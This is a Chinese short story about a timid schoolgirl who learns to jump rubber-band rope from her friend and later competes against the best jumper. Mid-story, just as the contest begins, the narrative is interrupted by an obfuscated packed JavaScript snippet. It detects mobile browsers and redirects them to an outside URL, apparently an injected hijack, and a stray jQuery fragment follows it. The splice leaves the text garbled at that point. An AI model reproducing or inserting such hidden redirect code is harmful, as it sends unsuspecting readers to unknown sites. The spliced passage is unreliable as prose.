上午第二节下课铃一响，教室里像炸开了锅。
清清刚把课本合上，就感觉有人拽她的胳膊。苏云曦站在座位旁边，两只眼睛亮晶晶的，马尾辫一甩一甩。
“快快快，占位置去！”
清清被她拉得踉跄了一下，铅笔盒差点掉地上。她伸手扶住，还没来得及问，人已经被拽出教室。
走廊里全是人。
四年级的教室在一楼，出门就是走廊。走廊的柱子边上蹲着几个男生，围成一圈，不知道在玩什么，脑袋挤在一起。有人从他们身边经过，踢着了其中一个人的屁股，那人回过头骂了一句，又转回去继续玩。
清清被云曦拉着，绕过几个蹲着画格子的女生，往操场方向跑。
操场西头，靠墙的那片空地，围了一圈女生。
那是她们的目的地。
“慢死了慢死了，”人群里有人冲她们喊，“就等你们俩了！”
云曦喘着气，马尾辫一晃：“来了来了，急什么！”
她松开清清的手，从口袋里掏出一根皮筋。那根皮筋很长，棕红色的，松松垮垮地绕成一团。她两手撑开，抖了抖，皮筋弹了几下，发出“嘣嘣”的闷响。
“快快快，撑起来。”
两个女生跑过来，一人抓住一头，往两边走。皮筋被拉直了，绷紧，离地面一尺来高，在早晨的太阳底下泛着暗暗的光。
剩下的女生分成两队，一队站这边，一队站那边。云曦把清清拉到自己这队，站在队伍最后头。
“你先看着，一会儿就轮到你了。”
清清点点头。
她站在那儿，看着前面的女生一个接一个跳进去。
领头的那个是隔壁班的，叫什么她不记得，只记得她扎着两根辫子，辫子上系着粉色的蝴蝶结。蝴蝶结一跳一飞，一跳一飞，像两只蝴蝶在她耳朵边上扇翅膀。
她站在皮筋的一侧，先抬起左脚，在皮筋上点了两下——
“马兰开花二十一——”
左脚点，右脚点，然后并脚跳进去。
“二八二五六——”
两脚分开，踩住两根皮筋，再并脚跳出来。
“二八二五七——”
转身，背对着皮筋，脚后跟往后一勾。
“二八二九三十一——”
整个人腾空转了一圈，落下来的时候，两只脚正好踩住两根皮筋。
清清看得眼睛都直了。
那些脚在皮筋之间穿来穿去，像两只灵活的鸟。有时候点，有时候勾，有时候踩，有时候跳。她盯着那些脚，盯了一会儿，眼睛就花了，分不清谁是谁。
但那个歌谣她听清了——
“马兰开花二十一，
二八二五六，
二八二五七，
二八二九三十一。”
她听过这个歌谣。一年级的时候就听过。操场上，走廊里，放学的路上，总有女生在唱。但她从来没跳过。她不知道怎么跳。
“三八三五六，
三八三五七，
三八三九四十一——”
前面的女生又跳进去了。这回跳得更快，脚在皮筋之间点来点去，像踩着什么看不见的节拍。皮筋被踢得“嘣嘣”响，一下一下，有节奏的。
清清往后退了一步。
她忽然有点想走。
“哎哎哎，清清，轮到你了！”
云曦不知道什么时候站到她旁边，推着她的后背，把她往前推。
“我……”
“没事没事，你跳，我看着呢。”
清清被推到皮筋前面。
对面的两个女生撑着皮筋，看着她。自己这队的几个女生也看着她。所有人的眼睛都落在她身上，落在她那双脚上。
她咽了咽口水。
抬起左脚。
在马兰花那几个字里，她只知道左脚点地，右脚点地。但是应该点几下？什么时候跳进去？她忘了。
她站在那儿，左脚悬着，没落下去。
“跳啊，”有人喊，“愣着干嘛？”
清清还是没动。
云曦在旁边急了，蹲下来，指着皮筋：“你看啊，先左脚点一下，点这儿——再右脚点一下，点这儿——然后两只脚一起跳进去——进去之后，左脚踩这根，右脚踩这根——然后再跳出来——”
她说得很快，手指在地上一通乱指。
清清看着她的手，更乱了。
“我……”
她张了张嘴。
“她是不是不会跳啊？”
对面有个女生笑起来。笑声不大，但清清听见了。
她低下头，看着自己的脚。
今天穿的是那双老北京布鞋。黑色的鞋面，白色的鞋底，鞋底边沿有一圈缝线，针脚细细密密。母亲说这鞋结实，耐穿。她穿着它跑操，穿它上学放学。
但她从来没穿着它跳过皮筋。
云曦站起来，瞪了对面一眼。
“笑什么笑？谁生下来就会跳？”
她伸手把清清往后拉了拉，自己站到皮筋前面。
“看好了啊，我慢慢跳，你跟着学。”
她抬起脚，点一下，点一下，跳进去。
“马兰——开花——二十一——”
她跳得很慢，每一步都停一停，让清清看清楚。
清清盯着她的脚。左脚点，右脚点，并脚跳，左脚踩这根，右脚踩那根，跳出来，转身，勾——
她试着在心里跟着跳。
好像……好像也不难？
“来，你试一下。”
云曦跳完，站到她旁边，喘着气
清清又站到皮筋前面。
抬起左脚，点一下。
右脚点一下。
并脚，跳进去。
进去了。
她愣了一下。自己进去了？
“对！就这样！继续！”
云曦在旁边喊。
清清站在两根皮筋中间，不知道下一步怎么办。
“左脚踩那根！右脚踩这根！”
清清抬起左脚，踩住左边那根皮筋。抬起右脚，踩住右边那根。
两根皮筋被她踩在脚下，绷得紧紧的。
“好！现在跳出来！”
她两只脚一起使劲，跳起来，落在地上。
出来了。
她站在那儿，看着那两根还在微微颤动的皮筋，有点不敢相信。
“你看，你会嘛！”云曦跑过来，拍她的肩膀，“再来再来，这回连起来跳。”
清清又跳了一遍。
这回快了一点。点，点，跳，踩，踩，跳。
跳完了。气喘吁吁的，但跳完了。
“怎么样？”云曦得意地看看周围，“谁说她不会跳？”
对面那几个女生没说话。
清清站在那里，胸口一起一伏。太阳晒在她脸上，热热的。她忽然觉得，跳皮筋好像也不是那么难。
后面的几轮，她又跳了几次。云曦一直在旁边喊，喊她的脚往哪儿放，喊她什么时候转身，喊她别急慢慢来。
她跳得越来越顺。虽然还是只会最基础的动作——点，跳，踩，跳。那些什么勾啊绕啊转啊，她还是不会。但她起码能把一个完整的“马兰开花二十一”跳下来了。
轮到对面的女生跳的时候，她站在旁边看。看她们怎么勾脚，怎么转身，怎么在皮筋上踩出花来。
有一个女生跳得特别好。她扎着高高的马尾，穿着白色的球鞋，脚抬起来的时候，鞋底白得发亮。她跳进去，转身，左脚往后一勾——皮筋被勾起来，在她腿后绕了一圈，又落回去。然后她跳起来，两脚在空中交叉，落地的时候正好踩住两根皮筋。
清清看得眼睛都直了。
“那是‘挽花’，”云曦凑到她耳边说，“难着呢，我学了好久都没学会。”
清清没说话。她盯着那个女生的脚，盯着那双白得发亮的球鞋，心里忽然有点羡慕。
不是羡慕那双鞋。是羡慕那双脚，怎么就能做出那些动作呢？
上午的课间只有十分钟，跳了没几轮就打铃了。
下午第二节下课，云曦又拉着她跑下来。
这回还是那拨人，还是那根皮筋。太阳比上午斜了一点，把人的影子拉得长一些，歪歪扭扭地铺在地上。
开始跳。
跳着跳着，出事了。
对面那队的一个女生跳的时候，脚绊了一下，没跳过去，反而把皮筋踢飞了。皮筋从撑着的两个人手里弹出来，在空中甩了一下，落在地上，弯弯曲曲的。
“哎哟！”
那女生捂着脚，一屁股坐在地上。
“怎么了怎么了？”几个人围上去。
“脚崴了好像……”
一群人七嘴八舌地围着。有人去叫老师，有人把她扶起来，一瘸一拐地往卫生室走。
走了几步，那女生忽然回头：“你们继续跳，别等我。”
走了。
剩下的人站在原地，你看看我，我看看你。
“现在怎么办？”撑皮筋的一个女生问。
“换人啊，”云曦说，“你们队再出一个人。”
“哪还有人？我们队本来就少一个，现在更少了。”
“那你们认输呗。”
“凭什么认输？我们还能跳。”
“那你们跳啊。”
两边吵起来，你一句我一句，谁也不让谁。
清清站在旁边，没说话。
吵着吵着，对面一个女生忽然指着她。
“让她来。”
清清愣住了。
“我？”
“对，你。你们队刚才不是她跳得最多吗？让她来。”
云曦愣了一下，转头看清清。
清清也看她。
“行不行？”云曦小声问，“对面那个是她们队跳得最好的，你要跟她比。”
清清张了张嘴。
她想起上午那个穿白球鞋的女生，想起那些“挽花”，想起自己只会的那几个基础动作。
但她还是点了点头。
“行。”
对面站出来的，就是那个扎马尾的女生。她走到皮筋旁边，把脚抬起来，踩了踩，试了试高度。
“从哪儿开始？”
“脚踝。”撑皮筋的人说。
马尾女生点点头，站好。
皮筋撑在脚踝的高度。她跳进去。
“马兰开花二十一——”
动作很快，但很清楚。点，点，跳，踩，踩，跳。转身，勾，跳出来。
一轮下来，皮筋没掉，脚没绊。
轮到清清。
她站到皮筋前面，深吸一口气。
点，点，跳。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437408|200981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进去了。
踩，踩，跳。
出来了。
她站在那儿，听见自己这队的人在喊：“好！就这样！”
马尾女生看了她一眼，没说话。
皮筋升到膝盖。
这回动作要变了，皮筋高了，不能踩，只能勾。
马尾女生跳进去。她的脚抬得很高，像一只白色的鸟，从皮筋上飞过去。一勾，一转，一跳，皮筋在她脚底下听话得很。
清清站在旁边看着，手心有点出汗。
轮到她了。
她跳进去。
勾。
没勾着。脚抬得不够高，皮筋从脚后跟滑下去。
再来一次。
这回勾着了。她用力往上抬，脚后跟勾住皮筋，往旁边一带。皮筋被她带起来，晃了晃，又落回去。
她跳出来了。
没掉。
“好！”云曦在旁边跳起来。
皮筋又升了一级。
腰。
这个高度更难了。抬脚要高，动作要快，慢了皮筋就掉。
马尾女生跳进去了。她跳得还是很顺，但清清看出来了——她也吃力。她的脸有点红，喘气有点粗，最后一个动作跳出来的时候，脚落地晃了一下。
但没掉。
轮到清清。
她站在皮筋前面，看着那根绷紧的皮筋。太阳在她身后，把她的影子投在地上，投在那根皮筋上。
她跳进去。
勾。
勾住了。
转身。
转的时候，脚抬得不够高，皮筋蹭着她的鞋底，差一点滑掉。她赶紧稳住，使劲往上抬，把它带过去。
跳出来。
落地的时候，她一个趔趄，往后退了一步，差点摔倒。
但皮筋没掉。
“好！！”云曦的嗓子都快喊破了。
皮筋又升了一级。
胸。
马尾女生这回明显吃力了。她跳进去，勾第一下的时候，皮筋就滑了。重来。又滑了。再重来。第三次，她咬着嘴唇，脸憋得通红，使劲往上抬脚——勾住了。然后转身，抬脚——又滑了。
皮筋掉在地上。
她站在那儿，喘着气，摇了摇头。
“不行了，太高了。”
所有人都看着清清。
清清站在那儿，盯着那根皮筋。它撑在两个女生的胸前，绷得紧紧的，在太阳底下泛着暗暗的红光。
她走过去。
抬脚。
第一下，勾住了。
她使劲往上抬，脚后跟勾着皮筋，往旁边带。皮筋被拉得很长，颤颤巍巍的。
转身。
抬脚。
勾——
勾住了。
她感觉自己整个人都在往上拔，腿抬到了从没抬过的高度。那条腿在抖，抖得厉害，但她不敢放。
跳出来。
落地的时候，她整个人往前扑，单膝跪在地上，两只手撑着地。
但她回头看。
皮筋还在那儿。绷着，没掉。
“过了过了过了！”云曦冲过来，一把把她拉起来，“你过了！”
清清站在那儿，喘着气，膝盖上全是土。她低头看，老北京布鞋的鞋头上也沾了土，灰扑扑的。
“脖子！脖子！再升一级！”
有人喊。
清清抬起头。
皮筋升到了脖子。
马尾女生站在旁边，看着她。周围所有人都看着她。
清清走到皮筋前面。
那根皮筋撑在两个女生的脖子旁边，比她人还高。她抬起脚，试着往上抬——抬不到那么高。她跳起来，想用脚去勾——够不着。
她试了三次。
三次都没够着。
最后一次，她跳起来，脚拼命往上抬，整个身子都歪了。皮筋蹭着她的鞋底，滑过去，没勾住。她落下来的时候没站稳，一屁股坐在地上。
周围安静了一下。
然后有人开始鼓掌。
不是很多人。就是自己这队的几个女生，噼里啪啦地拍了几下手。
“已经很厉害了！”云曦跑过来，把她拉起来，“从脚踝一直跳到脖子，咱们队就你一个人！”
清清站在那儿，拍着屁股上的土。
马尾女生走过来，看了她一眼。
“你跳得不错。”她说。
清清愣了一下。
“你那个基础动作特别稳，”马尾女生继续说，“我们那些花里胡哨的，一到高地方就不行了。你的稳。”
说完她转身走了。
清清站在原地，看着她的背影。
夕阳照在那片空地上，把所有人的影子都拉得老长。那根皮筋还撑着，在两个女生的脖子旁边，绷成一条细细的红线。
云曦在旁边叽叽喳喳地说话，说着刚才多惊险，说着清清多厉害，说着明天还要来跳。
清清听着，没说话。
她低头看了看自己的脚。
那双老北京布鞋，鞋头上还沾着土，鞋底边沿那圈缝线，还是那么细，那么密。
她忽然觉得，这双鞋也挺好的。
放学的铃声响起来的时候，天已经开始暗了。
清清背着书包，和云曦一起往校门口走。走到门口，两个人分开，一个往东，一个往西。